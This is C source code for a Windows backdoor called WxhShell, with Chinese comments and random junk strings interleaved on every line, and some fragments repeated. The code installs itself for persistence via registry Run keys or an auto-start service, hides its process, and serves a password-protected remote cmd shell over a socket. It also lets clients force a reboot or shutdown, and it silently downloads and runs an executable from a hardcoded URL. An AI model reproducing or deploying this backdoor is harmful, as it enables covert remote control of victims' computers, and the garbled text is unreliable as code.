\~Yibs p?Jx2(%m g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _28vf Bl? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G21cJi* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &!KW[]i%9} egh_1Wg2a if (!NtQueryInformationProcess) return 0; /5r!Fhx _su$]s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =N<Z@'c if(!hProcess) return 0; RJ~I?{yR0[ 6+
C7vG` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |iGfWJ^+ 9xM7X? CloseHandle(hProcess); &'A8R;b}-? G;yh$n<" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m\;@~o'k if(hProcess==NULL) return 0; ?)mM]2%% \zv?r:1t HMODULE hMod; (f>~+-IL char procName[255]; |z] --h unsigned long cbNeeded; QTbv3# /d-d8n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >q^l >Qold7
M CloseHandle(hProcess); ;nZN}&m
]}HuK# if(strstr(procName,"services")) return 1; // 以服务启动 hkoCbR0}8 4pC.mRu
0 return 0; // 注册表启动 Nlk' } e{fm7Cc)D 3e7P
w`gLl // 主模块 -1 <*mbb0 int StartWxhshell(LPSTR lpCmdLine) 9Netnzv% { 18];fC SOCKET wsl; XXA1%Lw% BOOL val=TRUE; t%Hy#z1W_ int port=0; o<\9OQ0 struct sockaddr_in door; -3T~+ j_Qkw ? if(wscfg.ws_autoins) Install(); /4lm=ZE/ 0VBbSn}Z< port=atoi(lpCmdLine); D0HLU
~o m[%*O#_ if(port<=0) port=wscfg.ws_port; Kt\#|-{CH- 0tyS=X;#e WSADATA data; mOE%:xq9- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L2
^-t7 XLxr@1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~T'Ri= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lx"#S'^~ door.sin_family = AF_INET; R1lC_G] door.sin_addr.s_addr = inet_addr("127.0.0.1"); !i77v,
(#| door.sin_port = htons(port); ]v,>!~8r 2!E@Gbhm5 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FEzjP$ closesocket(wsl); *oca return 1; 5}"@$.{i } SFQYrY h(1o!$EU2 if(listen(wsl,2) == INVALID_SOCKET) { ERQc1G]3Dd closesocket(wsl); 0}d^UGD return 1; ]31UA>/TI } TE!+G\@ Wxhshell(wsl); By7?<A WSACleanup(); +M/1,& 32KL~32Y return 0; i9Tq h
~.H*" } {} gr\ \8e27#PJR // 以NT服务方式启动 xJSK" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >*FH JCe { nnol)|C{5Y DWORD status = 0; j68_3zpl DWORD specificError = 0xfffffff; m}oqs0xx ,9@JBV%_ serviceStatus.dwServiceType = SERVICE_WIN32; Hz6tk9;w serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4'
MmT' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zXRq) ;s serviceStatus.dwWin32ExitCode = 0; swGp{wJ serviceStatus.dwServiceSpecificExitCode = 0; o<Z serviceStatus.dwCheckPoint = 0; 8\H*Z2yF+ serviceStatus.dwWaitHint = 0;
iE8 +thkx$o hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?0%3~E`l: if (hServiceStatusHandle==0) return; 7u|X
.X <RaM@E status = GetLastError(); 7yM "G $ if (status!=NO_ERROR) C ks;f6G { -)Zp" serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 J
B"qd serviceStatus.dwCheckPoint = 0; l}jC$B`5 serviceStatus.dwWaitHint = 0; :fx^{N!T serviceStatus.dwWin32ExitCode = status; >nqCUhS serviceStatus.dwServiceSpecificExitCode = specificError; iT2{3t SetServiceStatus(hServiceStatusHandle, &serviceStatus); (O@fgBM return; (<ZpT%2 } )A1u uW ( 3)6&)7`* serviceStatus.dwCurrentState = SERVICE_RUNNING; #PJHwvr serviceStatus.dwCheckPoint = 0; q@(MD3OE serviceStatus.dwWaitHint = 0; )d$FFTH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P]mJ01@' } P1u(0t :H(wW
// 处理NT服务事件,比如:启动、停止 yRyUOTK VOID WINAPI NTServiceHandler(DWORD fdwControl) 9m+ejTK{U { 92 oUQ EK switch(fdwControl) GVK c4HGt { $3'xb/3| case SERVICE_CONTROL_STOP: N7 ox#=g serviceStatus.dwWin32ExitCode = 0; RoLN# serviceStatus.dwCurrentState = SERVICE_STOPPED; o6Jhl8 serviceStatus.dwCheckPoint = 0; ZR8%h< serviceStatus.dwWaitHint = 0; \'9(zb vz9 { fG_<HJS(~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); `37%|e 3bQ } =!N,{V_ return; qvC 2BQ case SERVICE_CONTROL_PAUSE: 57jDsQAj serviceStatus.dwCurrentState = SERVICE_PAUSED; f>zd,|)At break; s/\<;g:u^ case SERVICE_CONTROL_CONTINUE: 3\2^LILLO serviceStatus.dwCurrentState = SERVICE_RUNNING; 1/tyne=m break; `P/87=h case SERVICE_CONTROL_INTERROGATE: 9'Cu9nR break; %$6?em_ }; q5G`N>"V SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZE[NQ8 } E0*62OI~O :2*0Jh3_ // 标准应用程序主函数 #9rCF 3P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !IC@^kkh{ { Txa
2`2t7 2UeK%-~W? // 获取操作系统版本 9ePR6WS4 OsIsNt=GetOsVer(); otmyI;v 7< GetModuleFileName(NULL,ExeFile,MAX_PATH); U&o~U] rm WiqkC#N // 从命令行安装 Mt*eC)~Yx if(strpbrk(lpCmdLine,"iI")) Install(); vs2xx`Y<Lq MZ:Ty,pw:O // 下载执行文件 Ij?Qs{V if(wscfg.ws_downexe) { "\O{!Hj8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BmFtRbR WinExec(wscfg.ws_filenam,SW_HIDE);
W2]%QN=m$ } ekCt1^5Y IXU~&5&J if(!OsIsNt) { ]T>|Y0 | // 如果时win9x,隐藏进程并且设置为注册表启动 {k)H.zwe HideProc(); 9Idgib& StartWxhshell(lpCmdLine); yHnN7& } BYZllwxwTE else 98I m/v if(StartFromService()) l:(?|1_ // 以服务方式启动 v%)=!T, StartServiceCtrlDispatcher(DispatchTable); ',s{N9 else \]qwD m/ // 普通方式启动 P,bis7X. StartWxhshell(lpCmdLine); rW[7
_4 ;5:3 =F>ao return 0; c HUj6'neO } Q32GI,M%B 6Z!OD(/e z<u@:: Dw&_6\F@ =========================================== _))--+cL |$`I1
"FXT8Qxg Zrp9`~_g<! X`0`A2
n p2j=73$ " _j?/O)M
c to3D#9Ep #include <stdio.h> |\/V1 #include <string.h> /;9]LC.g #include <windows.h> ^:]~6p# #include <winsock2.h> '
4Kf #include <winsvc.h> bEl)/z*gy/ #include <urlmon.h> ?&"!, oT[8Iu #pragma comment (lib, "Ws2_32.lib") -MItZ #pragma comment (lib, "urlmon.lib") uDG#L6 vDVE#Nm_ #define MAX_USER 100 // 最大客户端连接数 X-J<gI(Y #define BUF_SOCK 200 // sock buffer "hXB_73)V #define KEY_BUFF 255 // 输入 buffer yWZ%|K~$ $jNp-5+Q; #define REBOOT 0 // 重启 =@go;," #define SHUTDOWN 1 // 关机 Hbi2amfBu 3&7$N#v #define DEF_PORT 5000 // 监听端口 M\jTeB"Z Oz7WtN #define REG_LEN 16 // 注册表键长度 roE*8:Y #define SVC_LEN 80 // NT服务名长度 y3pr(w9A AV^Sla7|_ // 从dll定义API Qh@A7N/L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3qBZzM
O* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /WE1afe_R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O;~dao typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U#1,]a\ -<.b3M h // wxhshell配置信息 Dl95Vo=1 struct WSCFG { ~$Pz`amT| int ws_port; // 监听端口 ,MdK "Qa> char ws_passstr[REG_LEN]; // 口令 J,]U"+;H int ws_autoins; // 安装标记, 1=yes 0=no :s`\jJ char ws_regname[REG_LEN]; // 注册表键名 KsBi<wY char ws_svcname[REG_LEN]; // 服务名 K\`>'C2_V char ws_svcdisp[SVC_LEN]; // 服务显示名 fS(IN~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 I:G4i}mA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mo-
Y % int ws_downexe; // 下载执行标记, 1=yes 0=no #iAEcC0k5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &
!I$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?\NWKp c;pv< lX' }; 'vUx4s N M_Xy<.~E // default Wxhshell configuration ]EZiPW-uy struct WSCFG wscfg={DEF_PORT, }Pn]j7u! "xuhuanlingzhe", 1O,<JrE+- 1, XUp'wP "Wxhshell", 2RC|u?+@ "Wxhshell", /vLdm-4 "WxhShell Service", W6 U**ir. "Wrsky Windows CmdShell Service", _M;M-hk/ "Please Input Your Password: ", .#[== 1, R:t>PFwo "http://www.wrsky.com/wxhshell.exe", *c6o#[l "Wxhshell.exe" b
qNM }; o)pso\; rr=e // 消息定义模块 =xq+r]g6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $'obj char *msg_ws_prompt="\n\r? for help\n\r#>"; BQfq]ti char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _rU%DL? char *msg_ws_ext="\n\rExit."; aX$Q}mgb char *msg_ws_end="\n\rQuit."; ^E^Cj;od@ char *msg_ws_boot="\n\rReboot..."; gLL8-T[9 char *msg_ws_poff="\n\rShutdown..."; E 'O[E= char *msg_ws_down="\n\rSave to "; ,=@%XMS 7A mnxFC char *msg_ws_err="\n\rErr!"; ',Q|g^rF] char *msg_ws_ok="\n\rOK!"; @ysc?4% q ^Voi4; char ExeFile[MAX_PATH]; U$,W/G}m int nUser = 0; }; ;Thfd HANDLE handles[MAX_USER]; q&RezHK l int OsIsNt; KtO|14R: :7P/ZC% SERVICE_STATUS serviceStatus; E kvTl- SERVICE_STATUS_HANDLE hServiceStatusHandle; ;0c
-+, 7(S66 // 函数声明 ?8GggJC int Install(void); 34gC[G= int Uninstall(void); %7y8a`} int DownloadFile(char *sURL, SOCKET wsh); hE|W%~Jx int Boot(int flag); ^I CSs]}1 void HideProc(void); &x YO6_. int GetOsVer(void); !\6<kQg# int Wxhshell(SOCKET wsl); "h'+!2mf void TalkWithClient(void *cs); NlG~{rfI int CmdShell(SOCKET sock); `UK'IN.il int StartFromService(void); ?;0w 1 int StartWxhshell(LPSTR lpCmdLine); n,_q6/! lIUaGz| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y*Ra!]62 VOID WINAPI NTServiceHandler( DWORD fdwControl ); N a$eeM o<8('j
// 数据结构和表定义 00-cT9C3 SERVICE_TABLE_ENTRY DispatchTable[] = NtfzAz/ { ~EL3I {wscfg.ws_svcname, NTServiceMain}, {gkzo3 {NULL, NULL} V*<`!w }; 9>6DA^ e"D%eFkDW // 自我安装 L GdM40 int Install(void) y9)w(y! { Ht9QINo char svExeFile[MAX_PATH]; Q_r}cL/A HKEY key; 0;Oe&Y strcpy(svExeFile,ExeFile); 4Y5lP00!} 77b^d9! ~ // 如果是win9x系统,修改注册表设为自启动 Oo0SDWI`( if(!OsIsNt) { #=g1V?D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1)o6jGQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;0vCZaEF RegCloseKey(key); .C*mDi)wZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~jR4%VF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); teKx^ 'c' RegCloseKey(key); OAauD$Hh return 0; 2<FEn$n[ } dM=45$\q } ?:42jp3 } kz\Ss|jl else { AxtmG\o> lz7?Z // 如果是NT以上系统,安装为系统服务 64i*_\UKe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xwo%DZKN if (schSCManager!=0) x:K~?c3 { $*Kr4vh SC_HANDLE schService = CreateService b}
0G~oLP ( Uv m:`e~? schSCManager, -tZ~&1" wscfg.ws_svcname, $<QrV,T wscfg.ws_svcdisp, Rb!y(&>v SERVICE_ALL_ACCESS, 9{wRqY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ObfRwZh?q SERVICE_AUTO_START, M$48}q+ SERVICE_ERROR_NORMAL, ;_=N
YG. svExeFile, ]9N&I/- NULL, /go|r ' NULL, Y}]-o9Rl NULL, RH.qbPjx NULL, Bd]k]v+ NULL zM,r0Z ); p|C[T]J\@ if (schService!=0) D5bPF~q { Vu,e]@ CloseServiceHandle(schService); 5a-x$Qb9 CloseServiceHandle(schSCManager); f"*k>=ETI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rz0)S
py6 strcat(svExeFile,wscfg.ws_svcname); `a%MD>R_Lg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _i_P@I<M|~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T]JmnCX>: RegCloseKey(key); nwp(% fBo return 0; w_f.\\1r } UE{$hLI?g } Sx[
eX,q CloseServiceHandle(schSCManager); &+n9T?+b } 9Ta0Li } j^7A}fz ;=7K*npT return 1; a'-u(Bw } W6Mq:?+ D Wqkb1~]#Y // 自我卸载 Q~tXT_ int Uninstall(void) N+ak{3 { J#48c' HKEY key; x_/}R3d _1NK9dp: if(!OsIsNt) { $&=xw _ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l>MDCqV RegDeleteValue(key,wscfg.ws_regname); qiB~ RegCloseKey(key); cT(6>@9@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1X[^^p~^ RegDeleteValue(key,wscfg.ws_regname); FJDE48Vi RegCloseKey(key);
}DXG;L return 0; 0'Si
^>bW } 1$8@CT^m } e{7\pQK } <)p.GAZ else { r=&,2meo [lg!* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G[\TbPh if (schSCManager!=0) o]~\u{o#. { X%+lgm+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J Cq>;br. if (schService!=0) ~L"$(^/ { +]s,VSL5` if(DeleteService(schService)!=0) { @uH!n~QV CloseServiceHandle(schService); !uQT4<g CloseServiceHandle(schSCManager); t|$jgM return 0; ejlns
~ } )-26(aNGT CloseServiceHandle(schService); P{--R\ } HMCLJ/ CloseServiceHandle(schSCManager); V2ih/mh } Wk<fNHg } .P$m?p# RbX9PF"|+ return 1; %+H _V1F } uhh7Ft#H $G-<kC}8: // 从指定url下载文件 cry1gnWG int DownloadFile(char *sURL, SOCKET wsh) BS*79heY { Tb$))O} HRESULT hr; y)fMVD"( char seps[]= "/"; q1T)H2S char *token; B;r_[^ char *file; n.&7lg^X char myURL[MAX_PATH]; px<psR5 char myFILE[MAX_PATH]; 2n,z`(= :QGkYJ strcpy(myURL,sURL); !?nO0Ao-$ token=strtok(myURL,seps); -K 'UXoU1 while(token!=NULL) 4<i#TCGex3 { u]Ku96! file=token; P |tyyjO token=strtok(NULL,seps); zr/v .$< } y>EW,%leC 8>9Mh!t}(I GetCurrentDirectory(MAX_PATH,myFILE); ?$|tT\SFV strcat(myFILE, "\\"); +})QT FV strcat(myFILE, file); ryL1<u
~ send(wsh,myFILE,strlen(myFILE),0); rGP;0KtQ send(wsh,"...",3,0); .; F<X\_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lxyTh'
if(hr==S_OK) pi?/]}: return 0; ,VS\ mG/}s else = LNU%0m return 1; -D~K9u]U_ H?=W]<!W{y } `;j1H<L Ddr.6`VJ // 系统电源模块 |*NLWN.ja) int Boot(int flag) },8|9z#pyB { MJ JC6: HANDLE hToken; @P7'MiP]K TOKEN_PRIVILEGES tkp; #c:s2EL 93]63NY if(OsIsNt) { q`1tUd 4G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R!M' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rRRh-%.RU tkp.PrivilegeCount = 1; VW*%q0i- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R4'.QZ-x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L<!h3n if(flag==REBOOT) { f6Y?),` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $mPR)T return 0;
=`3r'c } h"1}j'2>@ else { =MqEbQn{C3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }dN\bb{# return 0; zIF1A*UH } Yh1</C } dHY@V>D'- else { -dM~3' if(flag==REBOOT) { HIc;Lc8$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }rJqMZ]w return 0; @ym:@<D } jwk+&S else { t\/H. Hb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DghyE` return 0; fz|*Plv } D+!T5)>( } (csk
7**zb"#y return 1; 2?ue.1C } ;j T{<
Y N6[Z*5efR // win9x进程隐藏模块 ~aotV1"D void HideProc(void) ?*~
~Ok { ,O:4[M !$w niS\0ZA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 570ja7C: if ( hKernel != NULL ) @lzq`SzM { c\.)vH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $~8gh>`] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )P7oL.) FreeLibrary(hKernel); QHv]7&^rlj } A@3'I ; GNW$:=0u return; eV_",W } I_B%F#X) N n_b // 获取操作系统版本 s3Bo'hGxG int GetOsVer(void) HxR5&o { VN-0hw/A OSVERSIONINFO winfo; Ne9VRM
P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v1$}[&/ GetVersionEx(&winfo); |+h x2?Nv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZW))Mx#K=T return 1; Z&@P< else tG]W!\C'h return 0; c
CjN8< } O4nA?bA 1^AQLOiRE1 // 客户端句柄模块 uaD+G:{[ int Wxhshell(SOCKET wsl) 1&h\\&ic { Zc";R!At SOCKET wsh; yTc&C)Jba struct sockaddr_in client; #}6~>A DWORD myID; D{7sfkcJ e<DcuF<ZS while(nUser<MAX_USER) ?RE"<L { -Nr*na^H9# int nSize=sizeof(client); `MT.<5H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e9\_H=t+ if(wsh==INVALID_SOCKET) return 1; 5-4 {_>XsB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f!7fz~&Sh if(handles[nUser]==0) HII@Ed f? closesocket(wsh); r{*Qsaw else asW
W@E nUser++; lNe5{'OrO } c*w0Jz>@.7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $U&p&pgH=W ~Y1nU- return 0; ;<MHl[jJD } 9G1ZW=83 "6~+-_: // 关闭 socket sCf)#6mI void CloseIt(SOCKET wsh) t[HsqnP { Qp@}v7Due closesocket(wsh);
%U[H`E nUser--; [pt U} ExitThread(0); 6!6R3Za$ } X~*/ ~f ,7d#t4 // 客户端请求句柄 m8l!+8 void TalkWithClient(void *cs) xNJ*TA[+ {
J6
A3Hrg ~1Ffu x SOCKET wsh=(SOCKET)cs; OSJL,F, char pwd[SVC_LEN]; p`"Ic2xPJ char cmd[KEY_BUFF]; qus%?B{b} char chr[1]; X2 <fS~m int i,j; wgQx.8 h> L8pKVr while (nUser < MAX_USER) { %xXb5aY !6 kn>447Y if(wscfg.ws_passstr) { ND3|wQ`M0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v# fny //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |41~U\ //ZeroMemory(pwd,KEY_BUFF); y
:QnK0 i=0; /BS yanro while(i<SVC_LEN) { R_80J=%0 d|sf2 // 设置超时 {(d 6of`C_ fd_set FdRead; TD/ 4lL~(x struct timeval TimeOut; b.
:2x4 FD_ZERO(&FdRead);
(2
P&@!| FD_SET(wsh,&FdRead); Kciz^)'Z TimeOut.tv_sec=8;
(s51GRC TimeOut.tv_usec=0; /RF&@NJE5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k]c$SzJ> / if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,W$&OD ~'Korxa if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EQy~ ^7V B pwd=chr[0]; @><8YN^)% if(chr[0]==0xd || chr[0]==0xa) { E,/nK pwd=0; Gl4f:` break; ] $F% } YCG$GD i++; z|<?=c2P } %y+v0.aWH+ 8wCB}q C // 如果是非法用户,关闭 socket \XbCJJP if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "!#KQ''R } m>DJ w7< G,b*Qn5# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k4JTc2b send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LO,:k+&A+ 4@jX{{^6% while(1) { }(#;{_ :TP\pH 7E ZeroMemory(cmd,KEY_BUFF); 5[`f(; %/r:iD // 自动支持客户端 telnet标准 K{iC'^wP j=0; nYTPcT4x| while(j<KEY_BUFF) { ,UxAHCR~9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rDLgQ{Sea cmd[j]=chr[0]; 1 l-Y)
if(chr[0]==0xa || chr[0]==0xd) { l(Uwci cmd[j]=0; nz/cs n break; 50Ov>(f@7 } /kqa|=-`q j++; kq>I?wg } eY`o=xN 3
t+1M // 下载文件 pE{Ecrc3| if(strstr(cmd,"http://")) { ]4,eCT send(wsh,msg_ws_down,strlen(msg_ws_down),0); V17!~ if(DownloadFile(cmd,wsh)) L1QDA}6?_Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8M7Bw[Q1 else 1-sG`% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G^le91$ } |}o3EX else { YLb$/6gj6 ka*#O"}L8 switch(cmd[0]) { Bk/&H-NI 5p~hUP]tT // 帮助 Fm[3Btn case '?': { 5a5)hmO RB send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pzeCdHF break; gCx#&aXS } sY&Z/Y // 安装 h*\u0yD) case 'i': { >LW}N!IBy if(Install()) &W*^&0AV send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[QQi2:& else pz]!T' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y N,grU( break; kG`&Z9P } JgBC:t^\pV // 卸载 m%s:4Z%= case 'r': { M<P8u`)>4H if(Uninstall()) v4F+^0? send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sv!JA#Ag else $4BvDZDk`B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H^M>(kT#& break; WJN)<+d } 1o?uf,H7O // 显示 wxhshell 所在路径 R1(3c*0f case 'p': { }lGui>/D char svExeFile[MAX_PATH]; Pk;YM} strcpy(svExeFile,"\n\r"); *NC@o* strcat(svExeFile,ExeFile); ?@;#|^k9
send(wsh,svExeFile,strlen(svExeFile),0); 0e1-ZP CDj break; w8a49 Fv } #\\|:`YV // 重启 J M`[|"R% case 'b': { gj
I>tz} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); my#\(E+ if(Boot(REBOOT)) PlCj<b1D: send(wsh,msg_ws_err,strlen(msg_ws_err),0); s;-AZr) else { |qBcE closesocket(wsh); &0xM 2J ExitThread(0); YLuf2ja}X } 5]n\E?V'L break; $=) Pky-~ } ?$l|];m)- // 关机
Z58{YC Y case 'd': { _<=h#lH send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mi[8O$^iJ if(Boot(SHUTDOWN)) n#@ Qd!uzM send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;; ;=)'o else { -+0kay% closesocket(wsh); _n_()at) ExitThread(0); <>728;/C } iu3L9UfL[ break; m.<u!MI } pTXF^:8 // 获取shell jcb&h@T8kv case 's': { W1EYVXN CmdShell(wsh); 3#Bb4\_v closesocket(wsh); 8:>V'j ExitThread(0); *"OUwEl a break; DTSf[zP/ } T5z]=Pd"^ // 退出 72 |O&`O case 'x': { >H ?k0M`L send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "%p7ft CloseIt(wsh); "%\hDL; break; =E<H_cUS } iaLZ|\`3a // 离开 G? XS-oSv case 'q': { -$DfnAh send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z&U:KrFH closesocket(wsh); 8;r #HtFM WSACleanup(); 5OzEY7K) exit(1); kguZ AO6 break; :mW<
E } q=Vh"]0g } @Z2np{X: } ~$J(it-a o+7)cI // 提示信息 x~vNUyEN) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fx|`0LI+C } _DH^ K9,9 } sRA2O/yKCE _+'!l'` return; DA.k8M } P_w4
DU bd~m'cob> // shell模块句柄 {:|3V 7X int CmdShell(SOCKET sock) T7^;!;i`X { {(!JYz~P STARTUPINFO si; <r.QS[:h ZeroMemory(&si,sizeof(si)); ,(pp+hNq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -v.\W y~\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $`55 E( PROCESS_INFORMATION ProcessInfo; 5a$EXV char cmdline[]="cmd"; [&PF ;)i CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )iQ^HZ return 0; dpw-a4o} } .Zv~a&GE &UOxS W // 自身启动模式 UZ2_FP int StartFromService(void) t`+A;%=K] { ,1#? 0q typedef struct tVEe) QX { [Hx(a.,d DWORD ExitStatus; k#Sr; " DWORD PebBaseAddress; VMRfDaO9 DWORD AffinityMask; <D ~hhGb DWORD BasePriority; $3G^}A" ULONG UniqueProcessId; j2<+[h- ULONG InheritedFromUniqueProcessId; ld@+p } PROCESS_BASIC_INFORMATION; 94BH{9b5 i7XY3yhC PROCNTQSIP NtQueryInformationProcess; hm! J@ U?le|tK static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HS/.H,X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EXCE^Vw N*}soMPV^. HANDLE hProcess; = IRot PROCESS_BASIC_INFORMATION pbi; t4_yp_ <VKJ+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8%#8PLB2 if(NULL == hInst ) return 0; @6>Q&GYqt qqf`z,u g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !q\=e@j-i g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mG&A_/e!9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,bl }@0A "dX~J3$ if (!NtQueryInformationProcess) return 0; RTcxZ/\"# E=ijt3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .Rk8qRB if(!hProcess) return 0; `xLsD}32 OR+qi*) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C!*!n^qA hi1Ial\Y CloseHandle(hProcess); 5p[}<I{ B@&sG
